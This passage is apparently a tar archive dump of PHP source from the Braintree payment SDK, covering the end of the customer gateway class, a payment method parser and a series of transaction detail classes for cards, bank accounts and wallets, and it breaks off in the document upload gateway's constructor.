'countryCodeAlpha3', 'countryCodeNumeric', 'extendedAddress', 'locality', 'postalCode', 'region', 'streetAddress'], ], ]] ]], ]; return $signature; } /** * creates a full array signature of a valid update request * @return array update request format */ public static function updateSignature() { $creditCardSignature = CreditCardGateway::updateSignature(); foreach($creditCardSignature AS $key => $value) { if(is_array($value) and array_key_exists('options', $value)) { array_push($creditCardSignature[$key]['options'], 'updateExistingToken'); } } $signature = [ 'id', 'company', 'email', 'fax', 'firstName', 'lastName', 'phone', 'website', 'deviceData', 'deviceSessionId', 'fraudMerchantId', 'paymentMethodNonce', 'defaultPaymentMethodToken', ['creditCard' => $creditCardSignature], ['customFields' => ['_anyKey_']], ['options' => [ ['paypal' => [ 'payee_email', 'payeeEmail', 'order_id', 'orderId', 'custom_field', 'customField', 'description', 'amount', ['shipping' => [ 'firstName', 'lastName', 'company', 'countryName', 'countryCodeAlpha2', 'countryCodeAlpha3', 'countryCodeNumeric', 'extendedAddress', 'locality', 'postalCode', 'region', 'streetAddress'], ], ]], ]], ]; return $signature; } /** * find a customer by id * * @access public * @param string id customer Id * @param string associationFilterId association filter Id * @return Customer|boolean The customer object or false if the request fails. * @throws Exception\NotFound */ public function find($id, $associationFilterId = null) { $this->_validateId($id); try { $queryParams = ''; if ($associationFilterId) { $queryParams = '?association_filter_id=' . $associationFilterId; } $path = $this->_config->merchantPath() . '/customers/' . $id . $queryParams; $response = $this->_http->get($path); return Customer::factory($response['customer']); } catch (Exception\NotFound $e) { throw new Exception\NotFound( 'customer with id ' . $id . ' not found' ); } } /** * credit a customer for the passed transaction * * @access public * @param int $customerId * @param array $transactionAttribs * @return Result\Successful|Result\Error */ public function credit($customerId, $transactionAttribs) { $this->_validateId($customerId); return Transaction::credit( array_merge($transactionAttribs, ['customerId' => $customerId] ) ); } /** * credit a customer, assuming validations will pass * * returns a Transaction object on success * * @access public * @param int $customerId * @param array $transactionAttribs * @return Transaction * @throws Exception\ValidationError */ public function creditNoValidate($customerId, $transactionAttribs) { $result = $this->credit($customerId, $transactionAttribs); return Util::returnObjectOrThrowException('Braintree\Transaction', $result); } /** * delete a customer by id * * @param string $customerId */ public function delete($customerId) { $this->_validateId($customerId); $path = $this->_config->merchantPath() . '/customers/' . $customerId; $this->_http->delete($path); return new Result\Successful(); } /** * create a new sale for a customer * * @param string $customerId * @param array $transactionAttribs * @return Result\Successful|Result\Error * @see Transaction::sale() */ public function sale($customerId, $transactionAttribs) { $this->_validateId($customerId); return Transaction::sale( array_merge($transactionAttribs, ['customerId' => $customerId] ) ); } /** * create a new sale for a customer, assuming validations will pass * * returns a Transaction object on success * @access public * @param string $customerId * @param array $transactionAttribs * @return Transaction * @throws Exception\ValidationsFailed * @see Transaction::sale() */ public function saleNoValidate($customerId, $transactionAttribs) { $result = $this->sale($customerId, $transactionAttribs); return Util::returnObjectOrThrowException('Braintree\Transaction', $result); } /** * Returns a ResourceCollection of customers matching the search query. * * If <b>query</b> is a string, the search will be a basic search. * If <b>query</b> is a hash, the search will be an advanced search. * For more detailed information and examples, see {@link https://developers.braintreepayments.com/reference/request/customer/search/php https://developers.braintreepayments.com/reference/request/customer/search/php} * * @param mixed $query search query * @return ResourceCollection * @throws InvalidArgumentException */ public function search($query) { $criteria = []; foreach ($query as $term) { $result = $term->toparam(); if(is_null($result) || empty($result)) { throw new InvalidArgumentException('Operator must be provided'); } $criteria[$term->name] = $term->toparam(); } $path = $this->_config->merchantPath() . '/customers/advanced_search_ids'; $response = $this->_http->post($path, ['search' => $criteria]); $pager = [ 'object' => $this, 'method' => 'fetch', 'methodArgs' => [$query] ]; return new ResourceCollection($response, $pager); } /** * updates the customer record * * if calling this method in static context, customerId * is the 2nd attribute. customerId is not sent in object context. * * @access public * @param string $customerId (optional) * @param array $attributes * @return Result\Successful|Result\Error */ public function update($customerId, $attributes) { Util::verifyKeys(self::updateSignature(), $attributes); $this->_validateId($customerId); return $this->_doUpdate( 'put', '/customers/' . $customerId, ['customer' => $attributes] ); } /** * update a customer record, assuming validations will pass * * if calling this method in static context, customerId * is the 2nd attribute. customerId is not sent in object context. * returns a Customer object on success * * @access public * @param string $customerId * @param array $attributes * @return Customer * @throws Exception\ValidationsFailed */ public function updateNoValidate($customerId, $attributes) { $result = $this->update($customerId, $attributes); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * * @deprecated since version 2.3.0 * @access public * @return string */ public function updateCustomerUrl() { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::url", E_USER_NOTICE); return $this->_config->baseUrl() . $this->_config->merchantPath() . '/customers/all/update_via_transparent_redirect_request'; } /** * update a customer from a TransparentRedirect operation * * @deprecated since version 2.3.0 * @access public * @param string $queryString * @return object */ public function updateFromTransparentRedirect($queryString) { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::confirm", E_USER_NOTICE); $params = TransparentRedirect::parseAndValidateQueryString( $queryString ); return $this->_doUpdate( 'post', '/customers/all/confirm_transparent_redirect_request', ['id' => $params['id']] ); } /* instance methods */ /** * sets instance properties from an array of values * * @ignore * @access protected * @param array $customerAttribs array of customer data * @return void */ protected function _initialize($customerAttribs) { // set the attributes $this->_attributes = $customerAttribs; // map each address into its own object $addressArray = []; if (isset($customerAttribs['addresses'])) { foreach ($customerAttribs['addresses'] AS $address) { $addressArray[] = Address::factory($address); } } $this->_set('addresses', $addressArray); // map each creditCard into its own object $creditCardArray = []; if (isset($customerAttribs['creditCards'])) { foreach ($customerAttribs['creditCards'] AS $creditCard) { $creditCardArray[] = CreditCard::factory($creditCard); } } $this->_set('creditCards', $creditCardArray); // map each coinbaseAccount into its own object $coinbaseAccountArray = []; if (isset($customerAttribs['coinbaseAccounts'])) { foreach ($customerAttribs['coinbaseAccounts'] AS $coinbaseAccount) { $coinbaseAccountArray[] = CoinbaseAccount::factory($coinbaseAccount); } } $this->_set('coinbaseAccounts', $coinbaseAccountArray); // map each paypalAccount into its own object $paypalAccountArray = []; if (isset($customerAttribs['paypalAccounts'])) { foreach ($customerAttribs['paypalAccounts'] AS $paypalAccount) { $paypalAccountArray[] = PayPalAccount::factory($paypalAccount); } } $this->_set('paypalAccounts', $paypalAccountArray); // map each applePayCard into its own object $applePayCardArray = []; if (isset($customerAttribs['applePayCards'])) { foreach ($customerAttribs['applePayCards'] AS $applePayCard) { $applePayCardArray[] = ApplePayCard::factory($applePayCard); } } $this->_set('applePayCards', $applePayCardArray); // map each androidPayCard into its own object $androidPayCardArray = []; if (isset($customerAttribs['androidPayCards'])) { foreach ($customerAttribs['androidPayCards'] AS $androidPayCard) { $androidPayCardArray[] = AndroidPayCard::factory($androidPayCard); } } $this->_set('androidPayCards', $androidPayCardArray); $this->_set('paymentMethods', array_merge($this->creditCards, $this->paypalAccounts, $this->applePayCards, $this->coinbaseAccounts, $this->androidPayCards)); } /** * returns a string representation of the customer * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) .']'; } /** * returns false if comparing object is not a Customer, * or is a Customer with a different id * * @param object $otherCust customer to compare against * @return boolean */ public function isEqual($otherCust) { return !($otherCust instanceof Customer) ? false : $this->id === $otherCust->id; } /** * returns an array containt all of the customer's payment methods * * @return array */ public function paymentMethods() { return $this->paymentMethods; } /** * returns the customer's default payment method * * @return CreditCard|PayPalAccount|ApplePayCard|AndroidPayCard */ public function defaultPaymentMethod() { $defaultPaymentMethods = array_filter($this->paymentMethods, 'Braintree\\Customer::_defaultPaymentMethodFilter'); return current($defaultPaymentMethods); } public static function _defaultPaymentMethodFilter($paymentMethod) { return $paymentMethod->isDefault(); } /* private class properties */ /** * @access protected * @var array registry of customer data */ protected $_attributes = [ 'addresses' => '', 'company' => '', 'creditCards' => '', 'email' => '', 'fax' => '', 'firstName' => '', 'id' => '', 'lastName' => '', 'phone' => '', 'createdAt' => '', 'updatedAt' => '', 'website' => '', ]; /** * sends the create request to the gateway * * @ignore * @param string $subPath * @param array $params * @return mixed */ public function _doCreate($subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->post($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * verifies that a valid customer id is being used * @ignore * @param string customer id * @throws InvalidArgumentException */ private function _validateId($id = null) { if (is_null($id)) { throw new InvalidArgumentException( 'expected customer id to be set' ); } if (!preg_match('/^[0-9A-Za-z_-]+$/', $id)) { throw new InvalidArgumentException( $id . ' is an invalid customer id.' ); } } /* private class methods */ /** * sends the update request to the gateway * * @ignore * @param string $subPath * @param array $params * @return mixed */ private function _doUpdate($httpVerb, $subPath, $params) { $fullPath = $this->_config->merchantPath() . $subPath; $response = $this->_http->$httpVerb($fullPath, $params); return $this->_verifyGatewayResponse($response); } /** * generic method for validating incoming gateway responses * * creates a new Customer object and encapsulates * it inside a Result\Successful object, or * encapsulates a Errors object inside a Result\Error * alternatively, throws an Unexpected exception if the response is invalid. * * @ignore * @param array $response gateway response values * @return Result\Successful|Result\Error * @throws Exception\Unexpected */ private function _verifyGatewayResponse($response) { if (isset($response['customer'])) { // return a populated instance of Customer return new Result\Successful( Customer::factory($response['customer']) ); } else if (isset($response['apiErrorResponse'])) { return new Result\Error($response['apiErrorResponse']); } else { throw new Exception\Unexpected( "Expected customer or apiErrorResponse" ); } } } class_alias('Braintree\CustomerGateway', 'Braintree_CustomerGateway'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/EqualityNode.php������������������������������������������������������������0000644�����������������00000000403�14720677707�0014332 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class EqualityNode extends IsNode { function isNot($value) { $this->searchTerms['is_not'] = strval($value); return $this; } } class_alias('Braintree\EqualityNode', 'Braintree_EqualityNode'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/PaymentMethodParser.php�����������������������������������������������������0000644�����������������00000004405�14720677707�0015670 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree PaymentMethodParser module * * @package Braintree * @category Resources */ /** * Manages Braintree PaymentMethodParser * * <b>== More information ==</b> * * * @package Braintree * @category Resources * */ class PaymentMethodParser { public static function parsePaymentMethod($response) { if (isset($response['creditCard'])) { return CreditCard::factory($response['creditCard']); } else if (isset($response['paypalAccount'])) { return PayPalAccount::factory($response['paypalAccount']); } else if (isset($response['coinbaseAccount'])) { return CoinbaseAccount::factory($response['coinbaseAccount']); } else if (isset($response['applePayCard'])) { return ApplePayCard::factory($response['applePayCard']); } else if (isset($response['androidPayCard'])) { return AndroidPayCard::factory($response['androidPayCard']); } else if (isset($response['amexExpressCheckoutCard'])) { return AmexExpressCheckoutCard::factory($response['amexExpressCheckoutCard']); } else if (isset($response['europeBankAccount'])) { return EuropeBankAccount::factory($response['europeBankAccount']); } else if (isset($response['usBankAccount'])) { return UsBankAccount::factory($response['usBankAccount']); } else if (isset($response['venmoAccount'])) { return VenmoAccount::factory($response['venmoAccount']); } else if (isset($response['visaCheckoutCard'])) { return VisaCheckoutCard::factory($response['visaCheckoutCard']); } else if (isset($response['masterpassCard'])) { return MasterpassCard::factory($response['masterpassCard']); } else if (isset($response['samsungPayCard'])) { return SamsungPayCard::factory($response['samsungPayCard']); } else if (is_array($response)) { return UnknownPaymentMethod::factory($response); } else { throw new Exception\Unexpected( 'Expected payment method' ); } } } class_alias('Braintree\PaymentMethodParser', 'Braintree_PaymentMethodParser'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/CustomerDetails.php���������������������������������������������0000644�����������������00000001235�14720677707�0017327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Customer details from a transaction * Creates an instance of customer details as returned from a transaction * * @package Braintree * @subpackage Transaction * * @property-read string $company * @property-read string $email * @property-read string $fax * @property-read string $firstName * @property-read string $id * @property-read string $lastName * @property-read string $phone * @property-read string $website */ class CustomerDetails extends Instance { } class_alias('Braintree\Transaction\CustomerDetails', 'Braintree_Transaction_CustomerDetails'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/EuropeBankAccountDetails.php������������������������������������0000644�����������������00000001326�14720677707�0021077 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Europe bank account details from a transaction * Creates an instance of europe bank account details as returned from a transaction * * @package Braintree * @subpackage Transaction * * @property-read string $accountHolderName * @property-read string $bic * @property-read string $imageUrl * @property-read string $mandateAcceptedAt * @property-read string $mandateReferenceNumber * @property-read string $maskedIban * @property-read string $token */ class EuropeBankAccountDetails extends Instance { } class_alias('Braintree\Transaction\EuropeBankAccountDetails', 'Braintree_Transaction_EuropeBankAccountDetails'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/LineItem.php����������������������������������������������������0000644�����������������00000000134�14720677707�0015723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; \class_exists('Braintree\TransactionLineItem'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/AddressDetails.php����������������������������������������������0000644�����������������00000001333�14720677707�0017112 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Creates an instance of AddressDetails as returned from a transaction * * * @package Braintree * @subpackage Transaction * * @property-read string $firstName * @property-read string $lastName * @property-read string $company * @property-read string $streetAddress * @property-read string $extendedAddress * @property-read string $locality * @property-read string $region * @property-read string $postalCode * @property-read string $countryName */ class AddressDetails extends Instance { protected $_attributes = []; } class_alias('Braintree\Transaction\AddressDetails', 'Braintree_Transaction_AddressDetails'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/AndroidPayCardDetails.php���������������������������������������0000644�����������������00000002354�14720677707�0020355 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Android Pay card details from a transaction * * @package Braintree * @subpackage Transaction */ /** * creates an instance of AndroidPayCardDetails * * * @package Braintree * @subpackage Transaction * * @property-read string $bin * @property-read string $default * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $googleTransactionId * @property-read string $imageUrl * @property-read string $sourceCardLast4 * @property-read string $sourceCardType * @property-read string $sourceDescription * @property-read string $token * @property-read string $virtualCardLast4 * @property-read string $virtualCardType */ class AndroidPayCardDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); $this->_attributes['cardType'] = $this->virtualCardType; $this->_attributes['last4'] = $this->virtualCardLast4; } } class_alias('Braintree\Transaction\AndroidPayCardDetails', 'Braintree_Transaction_AndroidPayCardDetails'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/UsBankAccountDetails.php����������������������������������������0000644�����������������00000002066�14720677707�0020231 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; use Braintree\AchMandate; /** * US Bank Account details from a transaction * creates an instance of UsbankAccountDetails * * @package Braintree * @subpackage Transaction * * @property-read string $token * @property-read string $imageUrl * @property-read string $routingNumber * @property-read string $accountType * @property-read string $accountHolderName * @property-read string $last4 * @property-read string $bankName * @property-read string $achMandate */ class UsBankAccountDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); $achMandate = isset($attributes['achMandate']) ? AchMandate::factory($attributes['achMandate']) : null; $this->achMandate = $achMandate; } } class_alias('Braintree\Transaction\UsBankAccountDetails', 'Braintree_Transaction_UsBankAccountDetails'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/ApplePayCardDetails.php�����������������������������������������0000644�����������������00000001575�14720677707�0020042 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Apple Pay card details from a transaction * * @package Braintree * @subpackage Transaction */ /** * creates an instance of ApplePayCardDetails * * * @package Braintree * @subpackage Transaction * * @property-read string $cardType * @property-read string $paymentInstrumentName * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $cardholderName * @property-read string $sourceDescription */ class ApplePayCardDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); } } class_alias('Braintree\Transaction\ApplePayCardDetails', 'Braintree_Transaction_ApplePayCardDetails'); �����������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/AmexExpressCheckoutCardDetails.php������������������������������0000644�����������������00000002140�14720677707�0022246 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Amex Express Checkout card details from a transaction * * @package Braintree * @subpackage Transaction */ /** * creates an instance of AmexExpressCheckoutCardDetails * * * @package Braintree * @subpackage Transaction * * @property-read string $cardType * @property-read string $bin * @property-read string $cardMemberExpiryDate * @property-read string $cardMemberNumber * @property-read string $cardType * @property-read string $sourceDescription * @property-read string $token * @property-read string $imageUrl * @property-read string $expirationMonth * @property-read string $expirationYear * @uses Instance inherits methods */ class AmexExpressCheckoutCardDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); } } class_alias('Braintree\Transaction\AmexExpressCheckoutCardDetails', 'Braintree_Transaction_AmexExpressCheckoutCardDetails'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/SamsungPayCardDetails.php���������������������������������������0000644�����������������00000003151�14720677707�0020406 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * SamsungPayCard details from a transaction * creates an instance of SamsungPayCardDetails * * @package Braintree * @subpackage Transaction * * @property-read string $bin * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read string $sourceCardLast4 * @property-read string $token * @property-read string $updatedAt */ class SamsungPayCardDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); $this->_attributes['expirationDate'] = $this->expirationMonth . '/' . $this->expirationYear; $this->_attributes['maskedNumber'] = $this->bin . '******' . $this->last4; } } class_alias('Braintree\Transaction\SamsungPayCardDetails', 'Braintree_Transaction_SamsungPayCardDetails'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/StatusDetails.php�����������������������������������������������0000644�����������������00000001061�14720677707�0017006 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Status details from a transaction * Creates an instance of StatusDetails, as part of a transaction response * * @package Braintree * * @property-read string $amount * @property-read string $status * @property-read \DateTime $timestamp * @property-read string $transactionSource * @property-read string $user */ class StatusDetails extends Instance { } class_alias('Braintree\Transaction\StatusDetails', 'Braintree_Transaction_StatusDetails'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/CreditCardDetails.php�������������������������������������������0000644�����������������00000002142�14720677707�0017530 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * CreditCard details from a transaction * creates an instance of CreditCardDetails * * @package Braintree * @subpackage Transaction * * @property-read string $bin * @property-read string $cardType * @property-read string $cardholderName * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $issuerLocation * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $token */ class CreditCardDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); $this->_attributes['expirationDate'] = $this->expirationMonth . '/' . $this->expirationYear; $this->_attributes['maskedNumber'] = $this->bin . '******' . $this->last4; } } class_alias('Braintree\Transaction\CreditCardDetails', 'Braintree_Transaction_CreditCardDetails'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/SubscriptionDetails.php�����������������������������������������0000644�����������������00000000775�14720677707�0020222 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Customer details from a transaction * Creates an instance of customer details as returned from a transaction * * @package Braintree * @subpackage Transaction * * @property-read string $billingPeriodStartDate * @property-read string $billingPeriodEndDate */ class SubscriptionDetails extends Instance { } class_alias('Braintree\Transaction\SubscriptionDetails', 'Braintree_Transaction_SubscriptionDetails'); ���braintree/lib/Braintree/Transaction/VisaCheckoutCardDetails.php�������������������������������������0000644�����������������00000003152�14720677707�0020710 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * VisaCheckoutCard details from a transaction * creates an instance of VisaCheckoutCardDetails * * @package Braintree * @subpackage Transaction * * @property-read string $bin * @property-read string $callId * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read string $token * @property-read string $updatedAt */ class VisaCheckoutCardDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); $this->_attributes['expirationDate'] = $this->expirationMonth . '/' . $this->expirationYear; $this->_attributes['maskedNumber'] = $this->bin . '******' . $this->last4; } } class_alias('Braintree\Transaction\VisaCheckoutCardDetails', 'Braintree_Transaction_VisaCheckoutCardDetails'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/IdealPaymentDetails.php�����������������������������������������0000644�����������������00000001147�14720677707�0020104 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * iDEAL payment details from a transaction * creates an instance of IdealPaymentDetails * * @package Braintree * @subpackage Transaction * * @property-read string $idealPaymentId * @property-read string $idealTransactionId * @property-read string $imageUrl * @property-read string $maskedIban * @property-read string $bic */ class IdealPaymentDetails extends Instance { protected $_attributes = []; } class_alias('Braintree\Transaction\IdealPaymentDetails', 'Braintree_Transaction_IdealPaymentDetails'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/VenmoAccountDetails.php�����������������������������������������0000644�����������������00000001541�14720677707�0020127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Venmo account details from a transaction * * @package Braintree * @subpackage Transaction */ /** * creates an instance of VenmoAccountDetails * * * @package Braintree * @subpackage Transaction * * @property-read string $sourceDescription * @property-read string $token * @property-read string $imageUrl * @property-read string $username * @property-read string $venmo_user_id * @uses Instance inherits methods */ class VenmoAccountDetails extends Instance { protected $_attributes = array(); /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); } } class_alias('Braintree\Transaction\VenmoAccountDetails', 'Braintree_Transaction_VenmoAccountDetails'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/MasterpassCardDetails.php���������������������������������������0000644�����������������00000003140�14720677707�0020437 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * MasterpassCard details from a transaction * creates an instance of MasterpassCardDetails * * @package Braintree * @subpackage Transaction * * @property-read string $bin * @property-read string $callId * @property-read string $cardType * @property-read string $cardholderName * @property-read string $commercial * @property-read string $countryOfIssuance * @property-read string $customerId * @property-read string $customerLocation * @property-read string $debit * @property-read string $durbinRegulated * @property-read string $expirationDate * @property-read string $expirationMonth * @property-read string $expirationYear * @property-read string $healthcare * @property-read string $imageUrl * @property-read string $issuingBank * @property-read string $last4 * @property-read string $maskedNumber * @property-read string $payroll * @property-read string $prepaid * @property-read string $productId * @property-read string $token * @property-read string $updatedAt */ class MasterpassCardDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); $this->_attributes['expirationDate'] = $this->expirationMonth . '/' . $this->expirationYear; $this->_attributes['maskedNumber'] = $this->bin . '******' . $this->last4; } } class_alias('Braintree\Transaction\MasterpassCardDetails', 'Braintree_Transaction_MasterpassCardDetails'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/CoinbaseDetails.php���������������������������������������������0000644�����������������00000001417�14720677707�0017253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * Coinbase details from a transaction * * @package Braintree * @subpackage Transaction */ /** * creates an instance of Coinbase * * * @package Braintree * @subpackage Transaction * * @property-read string $token * @property-read string $userId * @property-read string $userName * @property-read string $userEmail * @property-read string $imageUrl */ class CoinbaseDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); } } class_alias('Braintree\Transaction\CoinbaseDetails', 'Braintree_Transaction_CoinbaseDetails'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Transaction/PayPalDetails.php�����������������������������������������������0000644�����������������00000002454�14720677707�0016720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Transaction; use Braintree\Instance; /** * PayPal details from a transaction * * @package Braintree * @subpackage Transaction */ /** * creates an instance of PayPalDetails * * * @package Braintree * @subpackage Transaction * * @property-read string $authorizationId * @property-read string $captureId * @property-read string $customField * @property-read string $description * @property-read string $imageUrl * @property-read string $payerEmail * @property-read string $payerFirstName * @property-read string $payerId * @property-read string $payerLastName * @property-read string $payerStatus * @property-read string $paymentId * @property-read string $refundId * @property-read string $sellerProtectionStatus * @property-read string $taxId * @property-read string $taxIdType * @property-read string $token * @property-read string $transactionFeeAmount * @property-read string $transactionFeeCurrencyIsoCode */ class PayPalDetails extends Instance { protected $_attributes = []; /** * @ignore */ public function __construct($attributes) { parent::__construct($attributes); } } class_alias('Braintree\Transaction\PayPalDetails', 'Braintree_Transaction_PayPalDetails'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/DocumentUploadGateway.php���������������������������������������������������0000644�����������������00000003604�14720677707�0016202 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree DisputeGateway module * PHP Version 5 * Creates and manages Braintree Disputes * * @package Braintree */ class DocumentUploadGateway { /** * @var Gateway */ private $_gateway; /** * @var Configuration */ private $_config; /** * @var Http */ private $_http; /** * @param Gateway $gateway */ public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; 